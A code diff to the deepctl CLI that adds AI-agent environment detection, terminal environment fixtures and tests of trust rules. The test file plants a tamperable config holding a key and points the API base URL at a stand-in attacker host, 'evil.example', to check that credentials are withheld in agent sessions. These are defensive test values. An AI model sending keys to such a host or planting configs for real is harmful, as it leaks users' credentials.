+    if os.name != "posix":
+        return None
+    try:
+        found = os.path.lexists(DEVIN_MARKER)
+    except (OSError, ValueError):
+        return None
+    return Match("devin", DEVIN_MARKER, session=True) if found else None
+
+
+def _pi(env: Mapping[str, str]) -> Match | None:
+    path = env.get(HARD_PATH_VAR, "")
+    if "/.pi/agent" in path or "\\.pi\\agent" in path:
+        return Match("pi", "a .pi/agent entry in PATH", session=True)
+    return None
+
+
+# Order matters: Amp also sets CLAUDECODE, so AGENT comes first.
+HARD_SIGNALS: tuple[HardSignal, ...] = (
+    HardSignal("AI_AGENT", "set", ("gh", "vercel", "vscode"), _ai_agent),
+    HardSignal("AGENT", "amp or goose", ("gh", "goose"), _agent_value),
+    HardSignal(
+        "GOOSE_TERMINAL", "set", ("goose",), _when_set("GOOSE_TERMINAL", "goose")
+    ),
+    HardSignal(
+        "CLAUDECODE", "set", ("gh", "vercel"), _when_set("CLAUDECODE", "claude-code")
+    ),
+    HardSignal(
+        "CLAUDE_CODE", "set", ("gh", "vercel"), _when_set("CLAUDE_CODE", "claude-code")
+    ),
+    HardSignal(
+        "CLAUDE_CODE_IS_COWORK",
+        "set",
+        ("gh",),
+        _when_set("CLAUDE_CODE_IS_COWORK", "cowork"),
+    ),
+    HardSignal(
+        "CLAUDE_CODE_ENTRYPOINT",
+        "set",
+        ("claude-agent-sdk",),
+        _when_set("CLAUDE_CODE_ENTRYPOINT", "claude-code"),
+    ),
+    HardSignal(
+        "CODEX_SANDBOX", "set", ("gh", "vercel"), _when_set("CODEX_SANDBOX", "codex")
+    ),
+    HardSignal("CODEX_CI", "set", ("gh", "vercel"), _when_set("CODEX_CI", "codex")),
+    HardSignal(
+        "CODEX_THREAD_ID",
+        "set",
+        ("gh", "vercel"),
+        _when_set("CODEX_THREAD_ID", "codex"),
+    ),
+    HardSignal(
+        "CODEX_SANDBOX_NETWORK_DISABLED",
+        "set",
+        ("codex",),
+        _when_set("CODEX_SANDBOX_NETWORK_DISABLED", "codex"),
+    ),
+    HardSignal(
+        "GEMINI_CLI", "set", ("gh", "vercel"), _when_set("GEMINI_CLI", "gemini-cli")
+    ),
+    HardSignal("COPILOT_CLI", "set", ("gh",), _when_set("COPILOT_CLI", "copilot-cli")),
+    HardSignal("OPENCODE", "set", ("gh",), _when_set("OPENCODE", "opencode")),
+    HardSignal(
+        "ANTIGRAVITY_AGENT",
+        "set",
+        ("gh", "vercel"),
+        _when_set("ANTIGRAVITY_AGENT", "antigravity"),
+    ),
+    HardSignal(
+        "AUGMENT_AGENT",
+        "set",
+        ("gh", "vercel"),
+        _when_set("AUGMENT_AGENT", "augment-cli"),
+    ),
+    HardSignal(
+        "CURSOR_AGENT", "set", ("gh", "vercel"), _when_set("CURSOR_AGENT", "cursor-cli")
+    ),
+    HardSignal(
+        "CURSOR_EXTENSION_HOST_ROLE", "agent-exec", ("gh", "vercel"), _cursor_role
+    ),
+    HardSignal(
+        "OR_APP_NAME / OR_SITE_URL",
+        "Aider / aider",
+        ("aider",),
+        _aider,
+    ),
+    HardSignal(DEVIN_MARKER, "exists", ("vercel",), _devin),
+    HardSignal("PATH", "has .pi/agent", ("gh",), _pi),
+)
+
+# Every environment variable a hard signal reads, except PATH.
+HARD_ENV_VARS: tuple[str, ...] = (
+    "AI_AGENT",
+    "AGENT",
+    "GOOSE_TERMINAL",
+    "CLAUDE_CODE_IS_COWORK",
+    "CLAUDECODE",
+    "CLAUDE_CODE",
+    "CLAUDE_CODE_ENTRYPOINT",
+    "CODEX_SANDBOX",
+    "CODEX_CI",
+    "CODEX_THREAD_ID",
+    "CODEX_SANDBOX_NETWORK_DISABLED",
+    "GEMINI_CLI",
+    "COPILOT_CLI",
+    "OPENCODE",
+    "ANTIGRAVITY_AGENT",
+    "AUGMENT_AGENT",
+    "CURSOR_AGENT",
+    "CURSOR_EXTENSION_HOST_ROLE",
+    "OR_APP_NAME",
+    "OR_SITE_URL",
+)
+
+
+def hard_inputs() -> tuple[tuple[str, ...], tuple[str, ...]]:
+    """Everything a hard signal reads, for a cache that must never be
+    served under a different agent state: every variable name (``PATH``
+    included) and every file (the Devin marker, POSIX only)."""
+    files = (DEVIN_MARKER,) if os.name == "posix" else ()
+    return (*HARD_ENV_VARS, HARD_PATH_VAR), files
+
+
+def _environ(env: Mapping[str, str] | None) -> Mapping[str, str]:
+    return os.environ if env is None else env
+
+
+def hard_match(env: Mapping[str, str] | None = None) -> Match | None:
+    """The first hard signal that matches, ignoring ``DG_AGENT``."""
+    env = _environ(env)
+    for signal in HARD_SIGNALS:
+        found = signal.match(env)
+        if found is not None:
+            return found
+    return None
+
+
+def is_ai_agent(env: Mapping[str, str] | None = None) -> bool:
+    """True when an AI agent marked the environment (a raw hard signal).
+
+    For trust decisions. Never ``CI``, terminal state, command-line flags or
+    ``DG_AGENT``.
+    """
+    return hard_match(env) is not None
+
+
+def override(env: Mapping[str, str] | None = None) -> str | None:
+    """``"0"`` or ``"1"`` from ``DG_AGENT``; anything else is ``None``."""
+    value = _environ(env).get(OVERRIDE_VAR, "").strip()
+    return value if value in ("0", "1") else None
+
+
+def agent_mode(env: Mapping[str, str] | None = None) -> bool:
+    """Hard agent mode for output, prompts, notices and login.
+
+    The raw hard signals, unless ``DG_AGENT`` says otherwise.
+    """
+    forced = override(env)
+    if forced is not None:
+        return forced == "1"
+    return is_ai_agent(env)
+
+
+def no_color(env: Mapping[str, str] | None = None) -> bool:
+    """``NO_COLOR`` is set to a non-empty value (no-color.org)."""
+    return bool(_environ(env).get("NO_COLOR", ""))
+
+
+def _isatty(stream: object) -> bool:
+    try:
+        return bool(stream.isatty())  # type: ignore[attr-defined]
+    except (AttributeError, OSError, ValueError):
+        return False
+
+
+def _flags_before_dashes(argv: list[str]) -> list[str]:
+    return argv[: argv.index("--")] if "--" in argv else argv
+
+
+def soft_reason(
+    env: Mapping[str, str] | None = None, argv: list[str] | None = None
+) -> str | None:
+    """Why automation is likely (a soft signal), or ``None``."""
+    env = _environ(env)
+    words = _flags_before_dashes(sys.argv[1:] if argv is None else argv)
+    for flag in ("--non-interactive", "--agent-friendly"):
+        if flag in words:
+            return flag
+    if env.get("CI", "").strip().lower() in ("true", "1"):
+        return "CI"
+    score = 0
+    if not _isatty(sys.stdin):
+        score += 1
+    if not _isatty(sys.stdout):
+        score += 1
+    if env.get("TERM", "") in ("", "dumb"):
+        score += 1
+    return "no terminal" if score >= 3 else None
+
+
+def is_agentic(
+    env: Mapping[str, str] | None = None, argv: list[str] | None = None
+) -> bool:
+    """Agent or automation: machine output by default, no prompts or notices."""
+    forced = override(env)
+    if forced is not None:
+        return forced == "1"
+    return is_ai_agent(env) or soft_reason(env, argv) is not None
+
+
+class Detection(NamedTuple):
+    """Everything detection found, for ``dg help agent-mode`` and debugging."""
+
+    hard: bool
+    soft: bool
+    agent_id: str | None
+    reason: str | None
+    marker: Match | None
+    soft_reason: str | None
+    override: str | None
+
+
+def detect(
+    env: Mapping[str, str] | None = None, argv: list[str] | None = None
+) -> Detection:
+    """Run every check and report the result."""
+    env = _environ(env)
+    forced = override(env)
+    marker = hard_match(env)
+    soft = soft_reason(env, argv)
+    if forced is not None:
+        on = forced == "1"
+        return Detection(
+            on, False, "dg-agent-1" if on else None, OVERRIDE_VAR, marker, soft, forced
+        )
+    if marker is not None:
+        return Detection(
+            True, False, marker.agent_id, marker.reason, marker, soft, None
+        )
+    return Detection(False, soft is not None, None, soft, None, soft, None)
diff --git a/packages/deepctl-core/src/deepctl_core/output.py b/packages/deepctl-core/src/deepctl_core/output.py
index aa5e5d3b..c7644c45 100644
--- a/packages/deepctl-core/src/deepctl_core/output.py
+++ b/packages/deepctl-core/src/deepctl_core/output.py
@@ -3,90 +3,31 @@
 from __future__ import annotations
 
 import json
-import os
-import sys
 from io import StringIO
 from typing import TYPE_CHECKING, Any, cast
 
+from . import agents
+
 if TYPE_CHECKING:
     from rich.console import Console
     from rich.progress import Progress
 
 # ── Agentic / non-TTY detection ──────────────────────────────────
+# deepctl_core.agents holds the table; these names stay importable from here.
+# is_agentic(): agent or automation, for output, prompts and notices (honors
+# DG_AGENT). is_ai_agent(): a raw AI-agent marker, for trust decisions.
+is_agentic = agents.is_agentic
+is_ai_agent = agents.is_ai_agent
+AI_AGENT_ENV_MARKERS: tuple[str, ...] = agents.HARD_ENV_VARS
 
 
-def is_agentic() -> bool:
-    """Detect if running inside an AI coding tool or non-interactive context.
-
-    Uses a layered signal approach:
-    - Hard signals: known AI-tool environment variables (high confidence)
-    - Soft signals: score-based TTY/CI heuristics (3+ = probable agent)
-
-    Returns True when the context is likely non-interactive or AI-driven.
-    """
-    env = os.environ
-
-    # Hard signals: explicit non-interactive intent or known AI tool env vars
-    if "--non-interactive" in sys.argv:
-        return True
-    if "--agent-friendly" in sys.argv:
-        return True
-    if env.get("CI") in ("true", "1"):
-        return True
-    if env.get("CLAUDECODE"):
-        return True
-    if env.get("CLAUDE_CODE_ENTRYPOINT"):
-        return True
-    if env.get("CODEX_SANDBOX"):
-        return True
-    if env.get("CODEX_SANDBOX_NETWORK_DISABLED"):
-        return True
-    if env.get("OR_APP_NAME") == "Aider":
-        return True
-    if "aider" in env.get("OR_SITE_URL", ""):
-        return True
-
-    # Soft signals — score-based; none is conclusive alone
-    score = 0
-    if not sys.stdin.isatty():
-        score += 1
-    if not sys.stdout.isatty():
-        score += 1
-    if not env.get("TERM") or env.get("TERM") == "dumb":
-        score += 1
-    if "NO_COLOR" in env:
-        score += 1
-
-    return score >= 3
-
-
-# Environment markers set by AI coding agents themselves. Used, instead of
-# is_agentic(), wherever the CLI decides whom to trust with the API key: a
-# hard signal only. CI, a missing TTY or a missing TERM are never on this
-# list, so CI jobs, cron and containers keep the environment they were given.
-# An exact list; is_agentic() above is for output formatting and is broader.
-AI_AGENT_ENV_MARKERS: tuple[str, ...] = (
-    "AI_AGENT",
-    "CLAUDECODE",
-    "CLAUDE_CODE_ENTRYPOINT",
-    "CODEX_SANDBOX",
-    "CODEX_SANDBOX_NETWORK_DISABLED",
-    "CURSOR_AGENT",
-    "GEMINI_CLI",
-)
-
-
-def is_ai_agent() -> bool:
-    """True only when an AI coding agent marked the environment.
-
-    Hard signals: any non-empty variable in ``AI_AGENT_ENV_MARKERS``, or
-    Aider (``OR_APP_NAME=Aider`` or "aider" in ``OR_SITE_URL``). Never
-    ``CI``, TTY state, ``TERM`` or command-line flags.
-    """
-    env = os.environ
-    if any(env.get(name) for name in AI_AGENT_ENV_MARKERS):
-        return True
-    return env.get("OR_APP_NAME") == "Aider" or "aider" in env.get("OR_SITE_URL", "")
+def agent_mode() -> bool:
+    """Hard agent mode for presentation, prompts and login: ``DG_AGENT``
+    when it is 0 or 1, else :func:`is_ai_agent`. Never for trust."""
+    forced = agents.override()
+    if forced is not None:
+        return forced == "1"
+    return is_ai_agent()
 
 
 _agentic = is_agentic()
@@ -150,18 +91,23 @@ def __repr__(self) -> str:
 
 
 # Global console instance — plain when agentic, rich when interactive
-console = cast("Console", _LazyConsole(no_color=_agentic, highlight=not _agentic))
-stderr_console = cast(
-    "Console",
-    _LazyConsole(stderr=True, no_color=_agentic, highlight=not _agentic),
-)
+# Plain text (no colour and no bold or dim either) in agent mode and when
+# NO_COLOR is set: rich's own NO_COLOR handling still writes styles. Never
+# no_color=False, which would override NO_COLOR; otherwise rich reads
+# FORCE_COLOR and TERM itself.
+_plain = _agentic or agents.no_color()
+_console_kwargs: dict[str, Any] = {"highlight": not _agentic}
+if _plain:
+    _console_kwargs.update(no_color=True, color_system=None)
+console = cast("Console", _LazyConsole(**_console_kwargs))
+stderr_console = cast("Console", _LazyConsole(stderr=True, **_console_kwargs))
 
 # Global output configuration
 _output_config: dict[str, Any] = {
     "format": "default",
     "quiet": False,
     "verbose": False,
-    "color": not _agentic,
+    "color": not _plain,
     "agentic": _agentic,
     "format_source": "default",
 }
@@ -173,7 +119,7 @@ def _format_source(requested: str) -> str:
         return "explicit"
     if not _output_config["agentic"]:
         return "default"
-    return "hard_agent" if is_ai_agent() else "soft"
+    return "hard_agent" if agent_mode() else "soft"
 
 
 def setup_output(
@@ -711,7 +657,7 @@ def format_source() -> str:
     """Why the output format is what it is.
 
     ``"explicit"``: asked for with ``-o``. ``"hard_agent"``: JSON chosen
-    implicitly while an AI-agent marker (``is_ai_agent()``) is set.
+    implicitly in hard agent mode (``agents.agent_mode()``).
     ``"soft"``: JSON chosen implicitly by the TTY/CI heuristics alone.
     ``"default"``: no format was chosen.
     """
@@ -741,3 +687,46 @@ def get_status_console() -> Console:
         Console instance writing to stderr
     """
     return stderr_console
+
+
+def invoked_prog() -> str:
+    """The program name to show in notices and messages.
+
+    ``DEEPCTL_PROG_NAME`` when it is a plain program name (see
+    ``deepctl.main.prog_name_from_env``); else the running executable as a
+    command (``dg``, ``deepctl``, ``deepgram`` when that name runs this
+    same file, else its path); else ``dg``.
+    """
+    try:
+        from deepctl.main import prog_name_from_env
+    except ImportError:  # deepctl-core without the CLI: no launcher name
+        name = None
+    else:
+        name = prog_name_from_env()
+    if name:
+        return name
+    from .transport import prog
+
+    return prog() or "dg"
+
+
+def stderr_color() -> bool:
+    """Whether a raw notice written to stderr may use ANSI colour.
+
+    Only for a person's session (never agent or automation output), with
+    NO_COLOR unset or empty and TERM not ``dumb``; and only on a terminal,
+    unless FORCE_COLOR is set.
+    """
+    import os
+    import sys
+
+    if _output_config["agentic"] or os.environ.get("NO_COLOR"):
+        return False
+    if os.environ.get("TERM") == "dumb":
+        return False
+    if os.environ.get("FORCE_COLOR"):
+        return True
+    try:
+        return bool(sys.stderr.isatty())
+    except (AttributeError, OSError, ValueError):
+        return False
diff --git a/packages/deepctl-core/src/deepctl_core/transport.py b/packages/deepctl-core/src/deepctl_core/transport.py
index 9cfe70cb..198ae2d6 100644
--- a/packages/deepctl-core/src/deepctl_core/transport.py
+++ b/packages/deepctl-core/src/deepctl_core/transport.py
@@ -242,7 +242,7 @@ class RestBackend:
     """The default backend: the Deepgram SDK over the shared ``httpx.Client``.
 
     A backend turns a checked base URL and a key into the SDK client the
-    facade uses. #142's SageMaker backend plugs in here (R-16).
+    facade uses. #142's SageMaker backend plugs in here.
     """
 
     name = "rest"
@@ -1084,7 +1084,7 @@ def render(
     from . import output
 
     agentic = bool(output._output_config["agentic"])
-    hard = output.is_ai_agent()
+    hard = output.agent_mode()
     soft_only = agentic and not hard
     _, human, agent, automation = err.messages
     program = prog()
diff --git a/packages/deepctl-core/tests/unit/fixtures/agent_env/claude-code-in-vscode.json b/packages/deepctl-core/tests/unit/fixtures/agent_env/claude-code-in-vscode.json
new file mode 100644
index 00000000..c7b1521b
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/fixtures/agent_env/claude-code-in-vscode.json
@@ -0,0 +1,45 @@
+{
+  "_meta": {
+    "agent": "claude-code_2-1-312_agent",
+    "captured": true,
+    "sanitising": "Captured with `env` in the terminal named, then sanitised: variables whose name contains KEY, TOKEN, SECRET or NONCE, DEEPGRAM_* and the user's own tool variables dropped; per-user and OS housekeeping names (HOME, USER, PWD, TMPDIR, XPC_*, __CF* and similar) dropped; every value replaced with \"x\" except TERM, TERM_PROGRAM, COLORTERM, LANG, SHELL, SHLVL, VSCODE_INJECTION, CLAUDECODE, CLAUDE_CODE_ENTRYPOINT and AI_AGENT; PATH replaced with a generic one.",
+    "source": "capture 2026-11-01",
+    "terminal": "Claude Code Bash tool, run from a VS Code terminal (macOS)"
+  },
+  "env": {
+    "AI_AGENT": "claude-code_2-1-312_agent",
+    "CLAUDECODE": "1",
+    "CLAUDE_CODE_CHILD_SESSION": "x",
+    "CLAUDE_CODE_ENTRYPOINT": "cli",
+    "CLAUDE_CODE_EXECPATH": "x",
+    "CLAUDE_CODE_MESSAGING_SOCKET": "x",
+    "CLAUDE_CODE_SESSION_ATTENDED": "x",
+    "CLAUDE_CODE_SESSION_ID": "x",
+    "CLAUDE_CODE_SSE_PORT": "x",
+    "CLAUDE_EFFORT": "x",
+    "COLORTERM": "truecolor",
+    "COMMAND_MODE": "unix2003",
+    "COREPACK_ENABLE_AUTO_PIN": "x",
+    "GEMINI_CLI_IDE_SERVER_PORT": "x",
+    "GEMINI_CLI_IDE_WORKSPACE_PATH": "x",
+    "GIT_ASKPASS": "x",
+    "GIT_EDITOR": "x",
+    "LANG": "C.UTF-8",
+    "LIBRARY_PATH": "x",
+    "NoDefaultCurrentDirectoryInExePath": "x",
+    "PATH": "/usr/local/bin:/usr/bin:/bin",
+    "SHELL": "/bin/zsh",
+    "SHLVL": "2",
+    "SSH_AUTH_SOCK": "x",
+    "TERM": "xterm-256color",
+    "TERM_PROGRAM": "vscode",
+    "TERM_PROGRAM_VERSION": "x",
+    "VSCODE_GIT_ASKPASS_EXTRA_ARGS": "x",
+    "VSCODE_GIT_ASKPASS_MAIN": "x",
+    "VSCODE_GIT_ASKPASS_NODE": "x",
+    "VSCODE_GIT_IPC_HANDLE": "x",
+    "VSCODE_INJECTION": "1",
+    "VSCODE_PROFILE_INITIALIZED": "x",
+    "VSCODE_PYTHON_AUTOACTIVATE_GUARD": "x"
+  }
+}
diff --git a/packages/deepctl-core/tests/unit/fixtures/agent_env/cursor.json b/packages/deepctl-core/tests/unit/fixtures/agent_env/cursor.json
new file mode 100644
index 00000000..34af0de7
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/fixtures/agent_env/cursor.json
@@ -0,0 +1,34 @@
+{
+  "_meta": {
+    "agent": null,
+    "captured": false,
+    "sanitising": "Not captured: written from the variables this terminal is documented or known to set (source below), values \"x\" unless the value matters. Replace with a sanitised capture when one is available.",
+    "source": "cli/cli internal/agents/detect.go (CURSOR_TRACE_ID is the Cursor IDE); Cursor is a VS Code fork",
+    "terminal": "Cursor integrated terminal"
+  },
+  "env": {
+    "COLORTERM": "truecolor",
+    "COMMAND_MODE": "unix2003",
+    "COREPACK_ENABLE_AUTO_PIN": "x",
+    "CURSOR_TRACE_ID": "x",
+    "GIT_ASKPASS": "x",
+    "GIT_EDITOR": "x",
+    "LANG": "C.UTF-8",
+    "LIBRARY_PATH": "x",
+    "NoDefaultCurrentDirectoryInExePath": "x",
+    "PATH": "/usr/local/bin:/usr/bin:/bin",
+    "SHELL": "/bin/zsh",
+    "SHLVL": "2",
+    "SSH_AUTH_SOCK": "x",
+    "TERM": "xterm-256color",
+    "TERM_PROGRAM": "vscode",
+    "TERM_PROGRAM_VERSION": "x",
+    "VSCODE_GIT_ASKPASS_EXTRA_ARGS": "x",
+    "VSCODE_GIT_ASKPASS_MAIN": "x",
+    "VSCODE_GIT_ASKPASS_NODE": "x",
+    "VSCODE_GIT_IPC_HANDLE": "x",
+    "VSCODE_INJECTION": "1",
+    "VSCODE_PROFILE_INITIALIZED": "x",
+    "VSCODE_PYTHON_AUTOACTIVATE_GUARD": "x"
+  }
+}
diff --git a/packages/deepctl-core/tests/unit/fixtures/agent_env/github-actions.json b/packages/deepctl-core/tests/unit/fixtures/agent_env/github-actions.json
new file mode 100644
index 00000000..301633e6
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/fixtures/agent_env/github-actions.json
@@ -0,0 +1,31 @@
+{
+  "_meta": {
+    "agent": null,
+    "captured": false,
+    "sanitising": "Not captured: written from the variables this terminal is documented or known to set (source below), values \"x\" unless the value matters. Replace with a sanitised capture when one is available.",
+    "source": "docs.github.com, Variables reference: default environment variables",
+    "terminal": "GitHub Actions job step (ubuntu runner)"
+  },
+  "env": {
+    "CI": "true",
+    "GITHUB_ACTION": "x",
+    "GITHUB_ACTIONS": "true",
+    "GITHUB_ACTOR": "x",
+    "GITHUB_EVENT_NAME": "push",
+    "GITHUB_JOB": "x",
+    "GITHUB_REF": "x",
+    "GITHUB_REPOSITORY": "x",
+    "GITHUB_RUN_ID": "x",
+    "GITHUB_SHA": "x",
+    "GITHUB_WORKFLOW": "x",
+    "GITHUB_WORKSPACE": "x",
+    "HOME": "/home/runner",
+    "ImageOS": "ubuntu24",
+    "LANG": "C.UTF-8",
+    "PATH": "/usr/local/bin:/usr/bin:/bin",
+    "RUNNER_ARCH": "X64",
+    "RUNNER_OS": "Linux",
+    "RUNNER_TEMP": "x",
+    "SHELL": "/bin/bash"
+  }
+}
diff --git a/packages/deepctl-core/tests/unit/fixtures/agent_env/jetbrains.json b/packages/deepctl-core/tests/unit/fixtures/agent_env/jetbrains.json
new file mode 100644
index 00000000..1558ca7b
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/fixtures/agent_env/jetbrains.json
@@ -0,0 +1,20 @@
+{
+  "_meta": {
+    "agent": null,
+    "captured": false,
+    "sanitising": "Not captured: written from the variables this terminal is documented or known to set (source below), values \"x\" unless the value matters. Replace with a sanitised capture when one is available.",
+    "source": "JetBrains terminal sets TERMINAL_EMULATOR=JetBrains-JediTerm",
+    "terminal": "JetBrains IDE terminal"
+  },
+  "env": {
+    "COLORTERM": "truecolor",
+    "LANG": "en_US.UTF-8",
+    "LOGIN_SHELL": "1",
+    "PATH": "/usr/local/bin:/usr/bin:/bin",
+    "SHELL": "/bin/zsh",
+    "SHLVL": "1",
+    "TERM": "xterm-256color",
+    "TERMINAL_EMULATOR": "JetBrains-JediTerm",
+    "__INTELLIJ_COMMAND_HISTFILE__": "x"
+  }
+}
diff --git a/packages/deepctl-core/tests/unit/fixtures/agent_env/vscode.json b/packages/deepctl-core/tests/unit/fixtures/agent_env/vscode.json
new file mode 100644
index 00000000..e479bb20
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/fixtures/agent_env/vscode.json
@@ -0,0 +1,35 @@
+{
+  "_meta": {
+    "agent": null,
+    "captured": true,
+    "sanitising": "Captured with `env` in the terminal named, then sanitised: variables whose name contains KEY, TOKEN, SECRET or NONCE, DEEPGRAM_* and the user's own tool variables dropped; per-user and OS housekeeping names (HOME, USER, PWD, TMPDIR, XPC_*, __CF* and similar) dropped; every value replaced with \"x\" except TERM, TERM_PROGRAM, COLORTERM, LANG, SHELL, SHLVL, VSCODE_INJECTION, CLAUDECODE, CLAUDE_CODE_ENTRYPOINT and AI_AGENT; PATH replaced with a generic one.",
+    "source": "capture 2026-11-01; Claude Code's own variables removed (CLAUDE*, AI_AGENT)",
+    "terminal": "VS Code integrated terminal (macOS)"
+  },
+  "env": {
+    "COLORTERM": "truecolor",
+    "COMMAND_MODE": "unix2003",
+    "COREPACK_ENABLE_AUTO_PIN": "x",
+    "GEMINI_CLI_IDE_SERVER_PORT": "x",
+    "GEMINI_CLI_IDE_WORKSPACE_PATH": "x",
+    "GIT_ASKPASS": "x",
+    "GIT_EDITOR": "x",
+    "LANG": "C.UTF-8",
+    "LIBRARY_PATH": "x",
+    "NoDefaultCurrentDirectoryInExePath": "x",
+    "PATH": "/usr/local/bin:/usr/bin:/bin",
+    "SHELL": "/bin/zsh",
+    "SHLVL": "2",
+    "SSH_AUTH_SOCK": "x",
+    "TERM": "xterm-256color",
+    "TERM_PROGRAM": "vscode",
+    "TERM_PROGRAM_VERSION": "x",
+    "VSCODE_GIT_ASKPASS_EXTRA_ARGS": "x",
+    "VSCODE_GIT_ASKPASS_MAIN": "x",
+    "VSCODE_GIT_ASKPASS_NODE": "x",
+    "VSCODE_GIT_IPC_HANDLE": "x",
+    "VSCODE_INJECTION": "1",
+    "VSCODE_PROFILE_INITIALIZED": "x",
+    "VSCODE_PYTHON_AUTOACTIVATE_GUARD": "x"
+  }
+}
diff --git a/packages/deepctl-core/tests/unit/fixtures/agent_env/warp.json b/packages/deepctl-core/tests/unit/fixtures/agent_env/warp.json
new file mode 100644
index 00000000..46b6e0e9
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/fixtures/agent_env/warp.json
@@ -0,0 +1,22 @@
+{
+  "_meta": {
+    "agent": null,
+    "captured": false,
+    "sanitising": "Not captured: written from the variables this terminal is documented or known to set (source below), values \"x\" unless the value matters. Replace with a sanitised capture when one is available.",
+    "source": "Warp sets TERM_PROGRAM=WarpTerminal and WARP_* variables",
+    "terminal": "Warp"
+  },
+  "env": {
+    "COLORTERM": "truecolor",
+    "LANG": "en_US.UTF-8",
+    "PATH": "/usr/local/bin:/usr/bin:/bin",
+    "SHELL": "/bin/zsh",
+    "SHLVL": "1",
+    "TERM": "xterm-256color",
+    "TERM_PROGRAM": "WarpTerminal",
+    "TERM_PROGRAM_VERSION": "x",
+    "WARP_HONOR_PS1": "0",
+    "WARP_IS_LOCAL_SHELL_SESSION": "1",
+    "WARP_USE_SSH_WRAPPER": "1"
+  }
+}
diff --git a/packages/deepctl-core/tests/unit/fixtures/agent_env/zed.json b/packages/deepctl-core/tests/unit/fixtures/agent_env/zed.json
new file mode 100644
index 00000000..6a97d54c
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/fixtures/agent_env/zed.json
@@ -0,0 +1,20 @@
+{
+  "_meta": {
+    "agent": null,
+    "captured": false,
+    "sanitising": "Not captured: written from the variables this terminal is documented or known to set (source below), values \"x\" unless the value matters. Replace with a sanitised capture when one is available.",
+    "source": "Zed sets TERM_PROGRAM=zed and ZED_TERM=true",
+    "terminal": "Zed integrated terminal"
+  },
+  "env": {
+    "COLORTERM": "truecolor",
+    "LANG": "en_US.UTF-8",
+    "PATH": "/usr/local/bin:/usr/bin:/bin",
+    "SHELL": "/bin/zsh",
+    "SHLVL": "1",
+    "TERM": "xterm-256color",
+    "TERM_PROGRAM": "zed",
+    "TERM_PROGRAM_VERSION": "x",
+    "ZED_TERM": "true"
+  }
+}
diff --git a/packages/deepctl-core/tests/unit/test_agent_trust.py b/packages/deepctl-core/tests/unit/test_agent_trust.py
new file mode 100644
index 00000000..b659dc95
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_agent_trust.py
@@ -0,0 +1,176 @@
+"""Trust follows the raw AI-agent markers, never DG_AGENT.
+
+Every hard signal in the detection table turns on the agent-session config
+rules: a user config others can change, or another user owns, is ignored,
+its API key unused and never saved to, and the base URL rules for agents
+apply. DG_AGENT=0 doesn't turn them off, and DG_AGENT=1 alone doesn't turn
+them on. These tests set real environment variables; nothing patches the
+detection functions.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+
+import pytest
+import yaml
+from deepctl_core import agents, hosts
+from deepctl_core import config as config_module
+from deepctl_core.config import Config
+
+pytestmark = pytest.mark.skipif(
+    not sys.platform.startswith("linux"), reason="XDG layout (Linux)"
+)
+
+ALLOWED = "127.0.0.1:8000"
+
+
+@pytest.fixture(autouse=True)
+def home(tmp_path, monkeypatch):
+    for name in (*agents.HARD_ENV_VARS, agents.OVERRIDE_VAR):
+        monkeypatch.delenv(name, raising=False)
+    monkeypatch.setenv("PATH", "/usr/local/bin:/usr/bin:/bin")
+    monkeypatch.setattr(agents, "DEVIN_MARKER", str(tmp_path / "no-devin"))
+    monkeypatch.setattr(config_module, "_pending_notices", [])
+    monkeypatch.setattr(config_module, "_seen_notices", set())
+    monkeypatch.setattr(hosts, "_reported", set())
+    root = tmp_path / "home"
+    root.mkdir()
+    monkeypatch.setattr(config_module, "_real_home", lambda: str(root))
+    monkeypatch.setenv("HOME", str(root))
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+    return root
+
+
+def plant(home, mode: int):
+    """A user config holding a key, that other users can change."""
+    cfg = home / ".config" / "deepctl" / "config.yaml"
+    cfg.parent.mkdir(parents=True)
+    cfg.write_text(
+        yaml.safe_dump(
+            {
+                "api": {"allowed_hosts": [ALLOWED]},
+                "profiles": {"default": {"api_key": "k-planted"}},
+            }
+        )
+    )
+    cfg.chmod(mode)
+    return cfg
+
+
+def assert_agent_rules(home, monkeypatch) -> None:
+    """0.4.1's agent-session rules: key unused, file untouched and unsaved,
+    an env base URL off the allowlist refused."""
+    cfg = plant(home, 0o666)
+    before = cfg.read_bytes()
+    config = Config()
+    assert config.get_profile().api_key is None
+    assert config.api_key_untrusted is True
+    assert config.trusted_file is False
+    with pytest.raises(config_module.ConfigSaveRefused):
+        config.update_profile("default", project_id="p-agent")
+    assert cfg.read_bytes() == before
+    assert (cfg.stat().st_mode & 0o777) == 0o666
+    monkeypatch.setenv("DEEPGRAM_BASE_URL", "https://evil.example")
+    with pytest.raises(hosts.CredentialHostError):
+        hosts.check_credential_host(Config())
+
+
+def assert_person_rules(home, monkeypatch) -> None:
+    """A person's session: the file is tightened to 0600 and trusted, the
+    key used, and an env base URL used with a warning."""
+    cfg = plant(home, 0o666)
+    config = Config()
+    assert config.get_profile().api_key == "k-planted"
+    assert config.trusted_file is True
+    assert (cfg.stat().st_mode & 0o777) == 0o600
+    config.update_profile("default", project_id="p-person")
+    assert yaml.safe_load(cfg.read_text())["profiles"]["default"]["project_id"] == (
+        "p-person"
+    )
+    monkeypatch.setenv("DEEPGRAM_BASE_URL", "https://evil.example")
+    assert hosts.check_credential_host(Config()) == "https://evil.example"
+
+
+def test_no_marker_is_a_person(home, monkeypatch):
+    assert_person_rules(home, monkeypatch)
+
+
+def test_dg_agent_0_does_not_loosen_trust(home, monkeypatch):
+    monkeypatch.setenv("CLAUDECODE", "1")
+    monkeypatch.setenv("DG_AGENT", "0")
+    assert agents.agent_mode() is False  # presentation: a person
+    assert_agent_rules(home, monkeypatch)  # trust: still an agent session
+
+
+def test_dg_agent_0_with_ai_agent_does_not_loosen_trust(home, monkeypatch):
+    monkeypatch.setenv("AI_AGENT", "some-agent")
+    monkeypatch.setenv("DG_AGENT", "0")
+    assert_agent_rules(home, monkeypatch)
+
+
+@pytest.mark.parametrize("name", ["CLAUDECODE", "AI_AGENT"])
+@pytest.mark.parametrize("value", [" ", "\t"])
+def test_blank_marker_keeps_trust_strict(home, monkeypatch, name, value):
+    """A marker set to whitespace is still set: as before this release, and
+    as cli/cli reads it."""
+    monkeypatch.setenv(name, value)
